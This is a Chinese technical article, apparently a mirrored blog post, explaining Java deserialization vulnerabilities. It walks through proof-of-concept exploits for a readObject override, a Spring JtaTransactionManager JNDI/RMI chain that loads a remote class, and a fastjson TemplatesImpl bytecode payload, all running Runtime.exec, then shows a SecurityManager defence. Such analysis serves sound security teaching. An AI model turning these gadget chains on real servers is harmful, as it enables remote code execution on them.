相关文章推荐
讲道义的脸盆  ·  解析或序列化 XML - ...·  4 周前    · 
想表白的勺子  ·  极恶老大中文配音 - 百度·  1 年前    · 
烦恼的上铺  ·  《古剑奇谭3》对面的平台怎么走 ...·  1 年前    · 
深情的大蒜  ·  高清动漫视频-动漫专题-好看动画电影-新动漫 ...·  1 年前    · 
开朗的咖啡  ·  人才政策宣传解读新闻发布会 - 哈尔滨市人民政府·  2 年前    · 
低调的警车  ·  照亮大山女孩的梦想(奋斗百年路 启航新征程・ ...·  2 年前    · 
Code  ›  深入剖析 Java 反序列化漏洞开发者社区
string object runtime 序列化
https://cloud.tencent.com/developer/article/2185239
求醉的水龙头
2 年前
作者头像
Java极客技术
0 篇文章

深入剖析 Java 反序列化漏洞

前往专栏
腾讯云
备案 控制台
开发者社区
学习
实践
活动
专区
工具
TVP
文章/答案/技术大牛
写文章
社区首页 > 专栏 > Java极客技术 > 正文

深入剖析 Java 反序列化漏洞

发布 于 2022-12-02 21:19:04
221 0
举报

一、背景

在上篇文章中,小编有详细的介绍了序列化和反序列化的玩法,以及一些常见的坑点。

但是,高端的玩家往往不会仅限于此,熟悉接口开发的同学一定知道,能将数据对象很轻松的实现多平台之间的通信、对象持久化存储,序列化和反序列化是一种非常有效的手段,例如如下应用场景,对象必须 100% 实现序列化。

  • DUBBO:对象传输必须要实现序列化
  • RMI:Java 的一组拥护开发分布式应用程序 API,实现了不同操作系统之间程序的方法调用,RMI 的传输 100% 基于反序列化,Java RMI 的默认端口是 1099 端口

而在反序列化的背后,却隐藏了很多不为人知的秘密!

最为出名的大概应该是:15年的 Apache Commons Collections 反序列化远程命令执行漏洞,当初影响范围包括:WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd 等知名软件,直接在互联网行业掀起了一阵飓风。

2016 年 Spring RMI 反序列化爆出漏洞,攻击者可以通过 JtaTransactionManager 这个类,来远程执行恶意代码。

2017 年 4月15 日,Jackson 框架被发现存在一个反序列化代码执行漏洞。该漏洞存在于 Jackson 框架下的 enableDefaultTyping 方法,通过该漏洞,攻击者可以远程在 服务器 主机上越权执行任意代码,从而取得该网站服务器的控制权。

还有 fastjson,一款 java 编写的高性能功能非常完善的 JSON 库,应用范围非常广,在 2017 年,fastjson 官方主动爆出 fastjson 在1.2.24及之前版本存在远程代码执行高危安全漏洞。攻击者可以通过此漏洞远程执行恶意代码来入侵服务器。

Java 十分受开发者喜爱的一点,就是其拥有完善的第三方类库,和满足各种需求的框架。但正因为很多第三方类库引用广泛,如果其中某些组件出现安全问题,或者在数据校验入口就没有把关好,那么受影响范围将极为广泛的,以上爆出的漏洞,可能只是星辰大海中的一束花。

那么问题来了,攻击者是如何精心构造反序列化对象并执行恶意代码的呢?

二、漏洞分析

2.1、漏洞基本原理

我们先看一段代码如下:

public class DemoSerializable {
    public static void main(String[] args) throws Exception {
        //定义myObj对象
        MyObject myObj = new MyObject();
        myObj.name = "hello world";
        //创建一个包含对象进行反序列化信息的”object”数据文件
        FileOutputStream fos = new FileOutputStream("object");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        //writeObject()方法将myObj对象写入object文件
        os.writeObject(myObj);
        os.close();
        //从文件中反序列化obj对象
        FileInputStream fis = new FileInputStream("object");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //恢复对象
        MyObject objectFromDisk = (MyObject)ois.readObject();
        System.out.println(objectFromDisk.name);
        ois.close();
class MyObject implements Serializable {
     * 任意属性
    public String name;
    //重写readObject()方法
    private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
        //执行默认的readObject()方法
        in.defaultReadObject();
        //执行指定程序
        Runtime.getRuntime().exec("open https://www.baidu.com/");

运行程序之后,控制台会输出 hello world ,同时也会打开网页跳转到 https://www.baidu.com/ 。

从这段逻辑中分析,我们可以很清晰的看到反序列化已经成功了,但是程序又偷偷的执行了一段如下代码。

Runtime.getRuntime().exec("open https://www.baidu.com/");

我们可以再把这段代码改造一下,内容如下:

//mac系统,执行打开计算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
//windows系统,执行打开计算器程序命令
Runtime.getRuntime().exec("calc.exe");

运行程序后,可以很轻松的打开电脑中已有的任意程序。

很多人可能不知道,这里的 readObject() 是可以重写的,只是 Serializable 接口没有显示的把它展示出来, readObject() 方法的作用是从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回,以定制反序列化的一些行为。

可能有的同学会说,实际开发过程中,不会有人这么去重写 readObject() 方法,当然不会,但是实际情况也不会太差。

2.2、Spring 框架的反序列化漏洞

以当时的 Spring 框架爆出的反序列化漏洞为例,请看当时的示例代码。

首先创建一个 server 代码:

public class ExploitableServer {
    public static void main(String[] args) {
        try {
            //创建socket
            ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
            System.out.println("Server started on port "+serverSocket.getLocalPort());
            while(true) {
                //等待链接
                Socket socket=serverSocket.accept();
                System.out.println("Connection received from "+socket.getInetAddress());
                ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
                try {
                    //读取对象
                    Object object = objectInputStream.readObject();
                    System.out.println("Read object "+object);
                } catch(Exception e) {
                    System.out.println("Exception caught while reading object");
                    e.printStackTrace();
        } catch(Exception e) {
            e.printStackTrace();

然后创建一个 client 代码:

public class ExploitClient {
    public static void main(String[] args) {
        try {
            String serverAddress = "127.0.0.1";
            int port = Integer.parseInt("1234");
            String localAddress= "127.0.0.1";
            System.out.println("Starting HTTP server");   //开启8080端口服务
            HttpServer httpServer = HttpServer.create(new InetSocketAddress(8080), 0);
            httpServer.createContext("/",new HttpFileHandler());
            httpServer.setExecutor(null);
            httpServer.start();
            System.out.println("Creating RMI Registry"); //绑定RMI服务到 1099端口 Object  提供恶意类的RMI服务
            Registry registry = LocateRegistry.createRegistry(1099);
            java为了将object对象存储在Naming或者Directory服务下,
            提供了Naming Reference功能,对象可以通过绑定Reference存储在Naming和Directory服务下,
            比如(rmi,ldap等)。在使用Reference的时候,我们可以直接把对象写在构造方法中,
            当被调用的时候,对象的方法就会被触发。理解了jndi和jndi reference后,
            就可以理解jndi注入产生的原因了。
             */ //绑定本地的恶意类到1099端口
            Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+":8080"+"/");
            ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
            registry.bind("Object", referenceWrapper);
            System.out.println("Connecting to server "+serverAddress+":"+port); //连接服务器1234端口
            Socket socket=new Socket(serverAddress,port);
            System.out.println("Connected to server");
            String jndiAddress = "rmi://"+localAddress+":1099/Object";
            //JtaTransactionManager 反序列化时的readObject方法存在问题 //使得setUserTransactionName可控,远程加载恶意类
            //lookup方法会实例化恶意类,导致执行恶意类无参的构造方法
            org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
            object.setUserTransactionName(jndiAddress);
            //上面就是poc,下面是将object序列化发送给服务器,服务器访问恶意类
            System.out.println("Sending object to server...");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
            objectOutputStream.writeObject(object);
            objectOutputStream.flush();
            while(true) {
                Thread.sleep(1000);
        } catch(Exception e) {
            e.printStackTrace();

最后,创建一个 ExportObject 需要远程下载的类:

public class ExportObject {
    public static String exec(String cmd) throws Exception {
        String sb = "";
        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String lineStr;
        while ((lineStr = inBr.readLine()) != null)
            sb += lineStr + "\n";
        inBr.close();
        in.close();
        return sb;
    public ExportObject() throws Exception {
        String cmd="open /Applications/Calculator.app/";
        throw new Exception(exec(cmd));

先开启 server,再运行 client 后,计算器会直接被打开!

究其原因,主要是这个类 JtaTransactionManager 类存在问题,最终导致了漏洞的实现。

打开源码,翻到最下面,可以很清晰的看到 JtaTransactionManager 类重写了 readObject 方法。

重点就是这个方法 initUserTransactionAndTransactionManager() ,里面会转调用到 JndiTemplate 的 lookup() 方法。

可以看到 lookup() 方法作用是:Look up the object with the given name in the current JNDI context。

也就是说,通过 JtaTransactionManager 类的 setUserTransactionName() 方法执行,最终指向了 rmi://127.0.0.1:1099/Object ,导致服务执行了恶意类的远程代码。

2.3、FASTJSON 框架的反序列化漏洞分析

我们先来看一个简单的例子,程序代码如下:

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("open /Applications/Calculator.app/");
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {
    public static void main(String[] args) throws Exception {
        Test t = new Test();

运行程序之后,同样的直接会打开电脑中的计算器。

恶意代码植入的核心就是在对象初始化阶段,直接会调用 Runtime.getRuntime().exec("open /Applications/Calculator.app/") 这个方法,通过运行时操作类直接执行恶意代码。

我们在来看看下面这个例子:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
public class POC {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        return Base64.encodeBase64String(bos.toByteArray());
    public static void  test_autoTypeDeny() throws Exception {
        ParserConfig config = new ParserConfig();
        final String fileSeparator = System.getProperty("file.separator");
        final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
        String evilCode = readClass(evilClassPath);
        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
        String text1 = "{\"@type\":\"" + NASTY_CLASS +
                "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
                "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
        System.out.println(text1);
        Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
        //assertEquals(Model.class, obj.getClass());
    public static void main(String args[]){
        try {
            test_autoTypeDeny();
        } catch (Exception e) {
            e.printStackTrace();

在这个程序验证代码中,最核心的部分是 _bytecodes ,它是要执行的代码, @type 是指定的解析类, fastjson 会根据指定类去反序列化得到该类的实例,在默认情况下, fastjson 只会反序列化公开的属性和域,而 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImp l中 _bytecodes 却是私有属性, _name 也是私有域,所以在 parseObject 的时候需要设置 Feature.SupportNonPublicField ,这样 _bytecodes 字段才会被反序列化。

_tfactory 这个字段在 TemplatesImpl 既没有 get 方法也没有 set 方法,所以是设置不了的,只能依赖于 jdk 的实现,某些版本中在 defineTransletClasses() 用到会引用 _tfactory 属性导致异常退出。

如果你的jdk版本是 1.7 ,并且 fastjson <= 1.2.24 ,基本会执行成功,如果是高版本的,可能会报错!

详细分析请移步: http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/

Jackson 的反序列化漏洞也与之类似。

三、如何防范

从上面的案例看,java 的序列化和反序列化,单独使用的并没有啥毛病,核心问题也都不是反序列化,但都是因为反序列化导致了恶意代码被执行了,尤其是两个看似安全的组件,如果在同一系统中交叉使用,也能会带来一定安全问题。

3.1、禁止 JVM 执行外部命令 Runtime.exec

从上面的代码中,我们不难发现,恶意代码最终都是通过 Runtime.exec 这个方法得到执行,因此我们可以从 JVM 层面禁止外部命令的执行。

通过扩展 SecurityManager 可以实现:

public class SecurityManagerTest {
    public static void main(String[] args) {
        SecurityManager originalSecurityManager = System.getSecurityManager();
        if (originalSecurityManager == null) {
            // 创建自己的SecurityManager
            SecurityManager sm = new SecurityManager() {
                private void check(Permission perm) {
                    // 禁止exec
                    if (perm instanceof java.io.FilePermission) {
                        String actions = perm.getActions();
                        if (actions != null && actions.contains("execute")) {
                            throw new SecurityException("execute denied!");
                    // 禁止设置新的SecurityManager,保护自己
                    if (perm instanceof java.lang.RuntimePermission) {
                        String name = perm.getName();
                        if (name != null && name.contains("setSecurityManager")) {
                            throw new SecurityException("System.setSecurityManager denied!");
                @Override
                public void checkPermission(Permission perm) {
                    check(perm);
                @Override
                public void checkPermission(Permission perm, Object context) {
                    check(perm);
 
推荐文章
讲道义的脸盆  ·  解析或序列化 XML - XML:可扩展标记语言 | MDN
4 周前
想表白的勺子  ·  极恶老大中文配音 - 百度
1 年前
烦恼的上铺  ·  《古剑奇谭3》对面的平台怎么走 焦土任务平台走法_九游手机游戏
1 年前
深情的大蒜  ·  高清动漫视频-动漫专题-好看动画电影-新动漫岛网站制作历程_动漫岛在线官网-CSDN博客
1 年前
开朗的咖啡  ·  人才政策宣传解读新闻发布会 - 哈尔滨市人民政府
2 年前
低调的警车  ·  照亮大山女孩的梦想(奋斗百年路 启航新征程・“七一勋章”获得者)--党史学习教育官方网站--人民网
2 年前
今天看啥   ·   Py中国   ·   codingpro   ·   小百科   ·   link之家   ·   卧龙AI搜索
删除内容请联系邮箱 2879853325@qq.com
Code - 代码工具平台
© 2024 ~ 沪ICP备11025650号